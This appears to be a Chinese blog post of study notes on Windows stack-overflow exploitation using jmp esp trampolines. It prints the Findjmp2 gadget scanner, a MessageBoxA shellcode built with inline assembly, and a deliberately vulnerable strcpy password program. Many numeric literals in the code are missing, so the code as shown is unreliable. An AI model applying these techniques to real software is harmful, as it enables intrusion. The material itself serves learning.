看到第五章了。

标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好:

http://en.wikipedia.org/wiki/Buffer_overflow#The_jump_to_address_stored_in_a_register_technique

Shellcode

原来,shellcode 这个词来源于一篇论文: 年 Aleph One 发表跨时代的《Smathing The Stack For Fun And Profit》,文中描述讲到利用基于栈的溢出向进程中植入一段用于获得 shell 的代码,并将植入的代码称为 Shellcode。后来 shellcode 被统一指代通过缓冲区溢出植入的代码。

exploit 是一个过程,其结果通常体现为一段代码,这段代码承载了 shellcode。exploit 用于生成攻击性的网络数据包或者其他形式的攻击性输入,其核心是淹没返回地址,劫持进程控制权,之后跳转执行 shellcode。

shellcode 有通用性,而 exploit 往往针对特定漏洞。如果说 exploit 是导弹,shellcode 则可以比喻成弹头。Metasploit 就充分利用了模块化和代码复用的思想,将 exploit 和 payload (shellcode) 分开。

Shellcode 需要解决的问题

1. 自动定位 shellcode 的起点。实际使用中,shellcode 经常被动态加载(特别是 IE)。

2. 填充数据的设计。(想到《The Art Of Exploitation》中提到过好多技巧,可惜细节忘差不多了)

3. 动态获取系统的 API 地址。

4. 对 shellcode 进行编码解码,突破 buffer 和 IDS 的限制。(又想到《TAOE》)

动态定位 Shellcode — 跳板原理

实际 exploit 过程中,由于 dll 的装入和卸载等原因,Windows 进程的函数栈帧经常会移位,如此一来,将返回地址设置成定值的方法就不通用。

 年,黑客组织“Cult of the Dead Cow”的 Dildog 在 Bugtrq 邮件列表中以 Microsoft Netmeeting 为例首次提出了利用 jmp esp 完成对 shellcode 的动态定位,从而解决了 Windows 下栈帧移位问题给开发稳定 exploit 带来的重重困难。毫不夸张地讲,跳板技术是 Windows 栈溢出利用技术的一个里程碑。

注意到在一般情况下,ESP 中的地址问题指向系统栈中,且不会被溢出的数据破坏。函数返回时,ESP 所指的位置通常在返回地址的下一个位置,这就为跳板技术的实施开了条路。(需要注意,函数返回时 ESP 所指的位置与函数调用约定、返回指令有关,例如“retn 3”、“retn 4”之后,ESP 所指的位置是会有偏差)

如上图,使用 jmp esp 跳板动态定位的方法为:

1. 用内存中任意一条 jmp esp 指令的地址覆盖返回地址,而不用上一篇中手工查出的 shellcode 的起始地址。

2. 函数返回地去执行 jmp esp(跳板),而不直接执行 shellcode。

3. 将 shellcode 放置在返回地址之后,这样 jmp esp 之后执行的就是 shellcode。

这样一来,不管栈帧如何移位,shellcode 都能被动态地准确定位到。

获取跳板

获取踏板可以使用下面这段代码:

 /*
Findjmp.c
written by Ryan Permeh - ryan at eeye - Summarily modified by I2S-LaB.com
http://www.eeye.com Findjmp2.c (pop/pop/ret scanner, logging to file)
version by A.D - class101 at hat-squad
http://class101.org, http://www.hat-squad.com This finds useful jump points in a dll. Once you overflow a buffer, by
looking in the various registers, it is likely that you will find a
reference to your code. This program will find addresses suitible to
overwrite eip that will return to your code. It should be easy to modify this to search for other good jump points,
or specific code patterns within a dll. It currently supports looking for:
1. jmp reg 2. call reg 3. push reg
ret
All three options result in the same thing, EIP being set to reg. It also supports the following registers:
EAX
EBX
ECX
EDX
ESI
EDI
ESP
EBP
*/ #include <iostream.h>
#include <fstream.h>
#include <Windows.h>
#include <stdio.h> FILE *fplog; void usage();
void sep();
void iok(BYTE *curpos, char *reg);
void iok2(BYTE *curpos, char *reg);
void ook(BYTE *curpos, char *reg);
void ook2(BYTE *curpos, char *reg); DWORD GetRegNum( char *reg );
void findjmp( char *dll, char *reg ); //This finds useful jump points in a dll. Once you overflow a buffer, by
//looking in the various registers, it is likely that you will find a
//reference to your code. This program will find addresses of suitible
//addresses of eip that will return to your code. int main( int argc, char **argv )
{
if( argc <= )
usage(); else
{
char dll[], //holder for the dll to look in
reg[]; // holder for the register if ((fplog =fopen("findjmp.txt","r"))==NULL){
fplog =fopen("findjmp.txt","w");}
else fplog =fopen("findjmp.txt","a");
strncpy( dll, argv[], );
strncpy( reg, argv[], );
findjmp( dll, reg );
}
return ;
} //This prints the usage information. void usage()
{
printf("\nFindjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\nFindJmp DLL registre\nEx: findjmp KERNEL32.DLL esp"\
"\nCurrently supported registre are: EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n" );
} //findjmp is the workhorse. it loads the requested dll, and searches for
//the specific patterns for jmp reg, push reg ret, and call reg void findjmp( char *dll,char *reg )
{
char reg1[]="eax";char reg2[]="ebx";
char reg3[]="ecx";char reg4[]="edx";
char reg5[]="esi";char reg6[]="edi";
char reg7[]="esp";char reg8[]="ebp"; BYTE jmppat[][]={ { 0xFF, 0xE0 }, { 0xFF, 0xE3 }, { 0xFF, 0xE1 }, { 0xFF, 0xE2 },
{ 0xFF, 0xE6 }, { 0xFF, 0xE7 }, { 0xFF, 0xE4 }, { 0xFF, 0xE5 } }; // patterns for jmp ops BYTE callpat[][]={ { 0xFF, 0xD0 }, { 0xFF, 0xD3 }, { 0xFF, 0xD1 }, { 0xFF, 0xD2},
{ 0xFF, 0xD6 }, { 0xFF, 0xD7 }, { 0xFF, 0xD4 }, { 0xFF, 0xD5 } }; // patterns for call ops BYTE pushretpat[][]={ { 0x50, 0xC3 }, { 0x53, 0xC3 }, { 0x51, 0xC3 }, { 0x52, 0xC3 },
{ 0x56, 0xC3 }, { 0x57, 0xC3 }, { 0x54, 0xC3 }, { 0x55, 0xC3 } }; // patterns for pushret ops BYTE poppat[][]={ { 0x58 }, { 0x5B }, { 0x59 }, { 0x5A }, // patterns for pop,pop,ret
{ 0x5E }, { 0x5F }, { 0x5C }, { 0x5D },}; BYTE retn[][]={ 0xC3 }; // pattern for pop,pop,ret BYTE retnbis[][]={ 0xC2 }; // pattern for pop,pop,ret HMODULE loadedDLL; //base pointer for the loaded DLL BYTE *curpos; //current position within the DLL
BYTE *curpos2; //subposition pop,pop,ret DWORD regnum=GetRegNum(reg); // decimal representation of passed register
DWORD regnum1=GetRegNum(reg1);DWORD regnum2=GetRegNum(reg2);
DWORD regnum3=GetRegNum(reg3);DWORD regnum4=GetRegNum(reg4);
DWORD regnum5=GetRegNum(reg5);DWORD regnum6=GetRegNum(reg6);
DWORD regnum7=GetRegNum(reg7);DWORD regnum8=GetRegNum(reg8); DWORD numaddr=; //accumulator for addresses if( regnum == - ) //check if register is useable
{ //it didn't load, time to bail
printf( "There was a problem understanding the register.\n"\
"Please check that it isa correct IA32 register name\n"\
"Currently supported are:\n "\
"EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\
); exit(-);
} if( (loadedDLL=LoadLibraryA(dll)) == NULL) // check if DLL loaded correctly
{ //it didn't load, time to bail
printf( "There was a problem Loading the requested DLL.\n"\
"Please check that it is in your path and readable\n" );
exit(-);
}
else
{
sep();
fprintf(fplog,"Findjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\n");
printf("\nFindjmp, Eeye, I2S-LaB\nFindjmp2, Hat-Squad\n");
printf( "Scanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it
fprintf(fplog,"Scanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it
sep();
curpos=(BYTE*)loadedDLL; //set curpos at start of DLL
curpos2=(BYTE*)loadedDLL; //pop,pop,ret subscan. __try
{
while()
{
Sleep(/);
if( !memcmp( curpos, jmppat[regnum], ) ) //check for jmp match
{
printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
fprintf(fplog,"0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
numaddr++;
}
else if( !memcmp( curpos, callpat[regnum],) ) //check for call match {
printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match
fprintf(fplog,"0x%X\tcall %s\n", curpos, reg );
numaddr++;
}
else if( !memcmp(curpos,pushretpat[regnum], ) ) //check for push/ret match
{
printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match
fprintf(fplog,"0x%X\tpush %s - ret\n", curpos, reg ); // we have a jmp match
numaddr++;
}
else if( !memcmp(curpos,poppat[regnum], ) ) //check for pop/pop/ret match
{
curpos2++;
if( !memcmp(curpos2,poppat[regnum1], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum2], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum3], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum4], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum5], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum6], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum7], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
if( !memcmp(curpos2,poppat[regnum8], ) )
{
curpos2++;
if( !memcmp(curpos2,retn, ) )
{
iok(curpos, reg); // we have a popopret match
ook(curpos, reg); // we have a popopret match
numaddr++;
}
if( !memcmp(curpos2,retnbis, ) )
{
iok2(curpos, reg); // we have a popopret match
ook2(curpos, reg); // we have a popopret match
numaddr++;
}
curpos2--;curpos2--;goto loop;
}
curpos2--;
}
loop:
curpos++;
curpos2++;
}
}
__except()
{
sep();
fprintf( fplog,"Finished Scanning %s for code useable with the %s register\n", dll, reg );
printf( "Finished Scanning %s for code useable with the %s register\n", dll, reg );
printf( "Found %d usable addresses\n", numaddr );
fprintf( fplog,"Found %d usable addresses\n", numaddr );sep();fprintf( fplog,"\n\n\n");
}
} } DWORD GetRegNum( char *reg )
{
DWORD ret=-;
if( !stricmp( reg, "eax") )
{
ret=;
}
else if( !stricmp( reg, "ebx") )
{
ret=;
}
else if( !stricmp( reg, "ecx") )
{
ret=;
}
else if( !stricmp( reg, "edx") )
{
ret=;
}
else if( !stricmp( reg, "esi") )
{
ret=;
}
else if( !stricmp( reg, "edi") )
{
ret=;
}
else if( !stricmp( reg, "esp") )
{
ret=;
}
else if( !stricmp( reg, "ebp") )
{
ret=;
} return ret; //return our decimal register number
} void sep()
{
fprintf(fplog,"----------------------------------------------------------------------------\n");
} void iok(BYTE *curpos, char *reg)
{
printf( "0x%X\tpop %s - pop - ret\n", curpos, reg ); // we have a popopret match
} void iok2(BYTE *curpos, char *reg)
{
printf( "0x%X\tpop %s - pop - retbis\n", curpos, reg ); // we have a popopret match
} void ook(BYTE *curpos, char *reg)
{
fprintf(fplog,"0x%X\tpop %s - pop - ret\n", curpos, reg ); // we have a jmp match
} void ook2(BYTE *curpos, char *reg)
{
fprintf(fplog,"0x%X\tpop %s - pop - retbis\n", curpos, reg ); // we have a jmp match
}

或者用如下的更精简的代码:

 #include <windows.h>
#include <stdio.h> #define DLL_NAME "user32.dll" int main()
{
BYTE *ptr;
int position, address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error!\n");
exit();
}
ptr = (BYTE*)handle;
for(position=; !done_flag; position++)
{
__try
{
if(ptr[position]==0xFF && ptr[position+]==0xE4)
{
//0xFFE4 : jmp esp
int address = (int)ptr+position;
printf("OPCODE 0xFFE4(jmp esp) found at 0x%x\n",address);
}
}
__except()
{
int address=(int)ptr+position;
printf("End Of 0x%x\n",address);
done_flag=TRUE;
}
}
return ;
}

更方便的方法是在 OllyDbg 中添加插件 OllyUni.dll,可以查找 Unicode / ASCII 调用地址,使用方法为:打开调试后 [右键-Overflow Return Address] 并选择相应功能执行,执行完结后点击工具栏的 L (Log) 就可以看到结果。

使用跳板溢出

1. 根据获取跳板中的方法,溢出中使用如下地址:0x75DE01BB  -->  jmp esp

2. 编写 shellcode。我使用原书中的方法,利用 Dependency Walker 得到的 MessageBoxA() 和 exit()/ExitProcess() 的地址和实际的都不一样,无奈写了代码动态找出这两个函数的地址,代码使用了函数指针(其实可以直接输出函数地址的,代码中有体现):

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h> typedef void(*pf)(int i); int main()
{
pf pfun=exit;
printf("exit() @ 0x%08x\n",pfun); // 函数指针 结果为 0x00401340 输出结果不定!
LoadLibrary("user32.dll");
printf("MessageBoxA() @ 0x%08x\n",MessageBoxA); // user32.dll 直接输出 结果为 0x772BEA11
printf("ExitProcess() @ 0x%08x\n",ExitProcess); // kernel32.dll 直接输出 结果为 0x75D7BC9A
return ;
}

用 C 写的 shellcode 原代码如下:

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h> int main()
{
int exit_addr=exit;
HINSTANCE LibHandle;
LibHandle=LoadLibrary("user32.dll");
printf("exit() @ 0x%08x\n",exit);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // string ending
push 0x74736577
push 0x6c696166 // "failwest"
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x772BEA11
call eax // call MessageBoxA()
push ebx
mov eax,0x75D7BC9A
call eax // call ExitProcess(), 不能用 exit() 因为地址中有 0x00,注意下图 OllyDbg 中没有改过来,用的 exit()
}
return ;
}

编译如上的代码,使用 OllyDbg 调试,找到相应的 shellcode 机器码并 dump 出来:

最后得出的 shellcode 如下:

0xFF 是任意填充,接着的 0x75DE01BB 是 jmp esp 的地址,接着是 shellcode

这样能够 exploit 如下的代码并安全返回:

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h> #define PASSWORD "1234567" int verify_password(char *password)
{
int authenticated=0x03050709;
char buffer[]; // add local buf to be overflowed
authenticated=strcmp(password,PASSWORD);
strcpy(buffer, password); // overflow here
return authenticated;
} int main()
{
int valid_flag=;
char password[];
//LoadLibrary("c:\\windows\\system32\\user32.dll"); // for messagebox
LoadLibrary("user32.dll"); // for messagebox
//MessageBoxA(0,"LoadLibrary user32.dll seccess.","Message",0);
if(!freopen("password.txt","r",stdin))
//FILE *fp;
//if(!(fp=fopen("password.txt","rw+")))
{
printf("file open error!\n");
exit();
}
scanf("%s",password);
//fscanf(fp,"%s",password);
printf("password input: %s\n",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("Incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n\n");
}
//fclose(fp);
return ;
}

存在问题:

1. 输出 exit() 的地址不定,一直变动,不知道为什么。

2. exit() 地址中含有的 0x00 还是不知道怎么输入 buffer

3. find esp 找到的 jmp esp 的地址不是通用的,怎么解决?

4. Denpendency Walker 算出的 MessageBoxA() 和 ExitProcess() 的地址和实际的还是不一样,不明白。

OD: Shellcode / Exploit & DLL Trampolining的更多相关文章

  1. KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态

    KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 <寒江独钓>内核学习笔记(5)   继续我们的线程相关的数据结构的学习.接下来我们学习 KTH ...

  2. [视频]K8飞刀 hacking team flash0day shellcode exploit

    [视频]K8飞刀 hacking team flash0day shellcode exploit 链接:https://pan.baidu.com/s/1aVEElE2Y6zhOkaWKsUZ7Hg ...

  3. OD: Kernel Exploit - 1

    第 22 章,内核漏洞利用技术 首先编写具有漏洞的驱动 exploitme.sys,再展开内核漏洞利用思路和方法: /***************************************** ...

  4. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  5. KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 《寒江独钓》内核学习笔记(5)

    目录 . 相关阅读材料 . <加密与解密3> . [经典文章翻译]A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Ha ...

  6. OD: Kernel Exploit - 2 Programming

    本节接前方,对 exploitme.sys 进行利用. exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用. 获取 HalDis ...

  7. OD: Shellcode Encoding

    Shellcode 受到的限制 1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到. 2. 有时候 shellcode 必须为可见的 ASCII 字符或 ...

  8. OD使用经验【转载】

    文章整理发布:黑客风云  1.我的os是winXP,无法使用trw2000,而softice装了多次均未成功,还蓝屏死机多次.郁闷. 2.友好的gui界面,不像softice.可以边干活边听歌,不像s ...

  9. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

随机推荐

  1. cocoapods出现Diff: /../Podfile.lock: No such file or directory错误

    第一种解决方法: 关闭Xcode,重新执行pod install,之后再重新打开Xcode运行. 第二种解决方法: 删除以下文件: xcworkspacePodfile.lockPods文件夹~/Li ...

  2. centos 安装php

    1.yum安装 yum install php php-fpm php-common php-gd php-mcrypt php-pear php-pecl-memcache php-mhash ph ...

  3. EcStore操作笔记

    1.去掉首页里面代码: <meta http-equiv="content-type" content="text/html; charset=utf-8" ...

  4. C#操作Excel开发报表系列整理(转)

    C#操作Excel进行报表开发系列共写了七篇,也已经有很久没有新东西了,现在整理一下,方便以后查阅,如果有写新的,会同时更新.需要注意的是因为Office的版本不同,实际的代码可能会有所不同,但是都是 ...

  5. Mysql主从复制的配置(双机互为主从)

    目的: 让两台mysql服务器可以互为主从提供同步服务. 优点: 1. mysql的主从复制的主要优点是同步"备份", 在从机上的数据库就相当于一个(基本实时)备份库. 2. 在主 ...

  6. 在windows下搭建linux-c学习环境

    下载virtualbox并安装: https://www.virtualbox.org/wiki/Downloads 现在vagrant并安装: https://www.vagrantup.com/d ...

  7. iOS开发之UIWebView自动滑动到顶部-备

    但可以通过subview来操作. 通常用UIWebView加载网页,有时候需要点击一个按钮,或者页面的某个部位,使页面自动滚动到顶部,但是UIWebView不像UIScrollView那么方便.   ...

  8. [布局] bootstrap基本标签总结

    文件头: <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <titl ...

  9. CreateFile FileSeek FileRead 直接读取数据

    unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms ...

  10. Android attrs.xml文件中属性类型format值的格式

    "reference" //引用 "color" //颜色 "boolean" //布尔值 "dimension" // ...